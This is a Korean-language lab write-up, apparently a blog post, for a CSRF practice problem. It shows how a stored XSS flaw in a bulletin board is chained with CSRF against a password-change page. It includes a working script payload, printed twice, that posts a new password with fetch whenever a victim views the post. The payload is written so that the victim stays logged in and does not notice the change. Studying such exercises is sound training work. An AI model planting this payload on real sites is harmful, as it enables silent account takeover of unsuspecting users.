CSRF 실습 2
CSRF 실습 2번 문제 설
- CSRF 1번 문제와 비슷하게 계정의 비밀번호를 변경하는 문제이다.
서버 분석 및 취약점 찾기
비밀번호 변경 요청
- 오직 POST 요청으로만 비밀번호를 변경할 수 있다.
게시글 ( Stored XSS )
- 게시글 제목과 게시글 본문에 XSS 취약점이 존재한다.
- POC 코드
alert(1)
을 통해 확인이 가능하다. - 게시글 제목
- 게시글 본문
- script 태그 부분의 내용은 게시글에서 안보인다.
비밀번호 변경
- 비밀번호 변경을 한 후
location.href
를 통해 클라이언트 측에서 로그아웃 요청을 서버로 보낸다. - 즉 서버에서는 클라이언트 측에서 로그아웃 신호를 보내주기 전 까지는 세션을 만료 시키지 않는다.
location.href='index.php?session=true';
공격 시나리오
XSS(게시판) + CSRF(비밀번호 변경 요청) 취약점 이용하기.
최종 목표
- 사용자자 공격자가 작성한 게시글에 방문하면 사용자도 모르게 자동으로 비밀번호가 바뀐다. 하지만 사용자는 정상적으로 게시글을 방문한 것 처럼 느낀다. 즉 사용자는 로그아웃 하고 다시 로그인할 때 까지 비밀번호가 변경되었다는 것을 알아차리기 힘들다.
비밀번호 변경 요청 동작 방식 ( 예측 )
- POST 요청으로 사용자가 입력한 비밀번호를 전송하여 변경한다.
- 사용자는 응답으로 로그아웃을 하라는 링크를 받는다.
- 사용자는 서버로 로그아웃 요청을 보내어 로그아웃을 진행한다.
- 비밀번호 변경 POST 요청
시나리오
- 공격자는 악성 스크립트가 담긴 게시글을 작성한다.
- 사용자는 로그인하여 공격자의 게시글을 확인한다.
- 사용자가 공격자의 게시글에 방문하면 악성 스크립트가 동작하여 사용자의 비밀번호를 공격자가 설정한 비밀번호로 변경한다.
- 비밀번호가 변경 되었어도 사용자가 서버로 로그아웃 요청을 보내지 않아 계속 서비스를 이용할 수 있다.
공격 스크립트
스크립트로 POST 요청 보내기
- fetch 함수를 이용하였다.
- fetch를 이용하여 post 요청을 보내면 응답으로
location.href
을 받지만 실행되지 않아 자동으로 로그아웃 되는 것을 방지할 수 있다. ( 세션 만료 방지 )
<script>
fetch("mypage_update.php",{
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "id=&info=&pw=2222"
});
</script>
최종 공격 스크립트
- 자동으로 비밀번호 변경 요청을 서버로 보내게 된다.
<script>
fetch("mypage_update.php",{
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "id=&info=&pw=2222"
});
</script>
공격시작
- 공격자는 악성 스크립트가 담긴 게시글 작성한다.
- 게시글을 저장해준다.
- 사용자가 공격자가 작성한 게시글에 방문하게 되면 자동으로 비밀번호가 바뀌게 된다.
결론
- Javascript의 fetch 함수를 이용하여 POST 요청을 서버에 보내고 응답을 받아온다.
- 사용자는 일반적인 게시글을 방문한 것 처럼 느끼게 된다. 하지만 실제로는 게시글 방문과 동시에 비밀번호 요청이 가는 것을 확인할 수 있다.
댓글남기기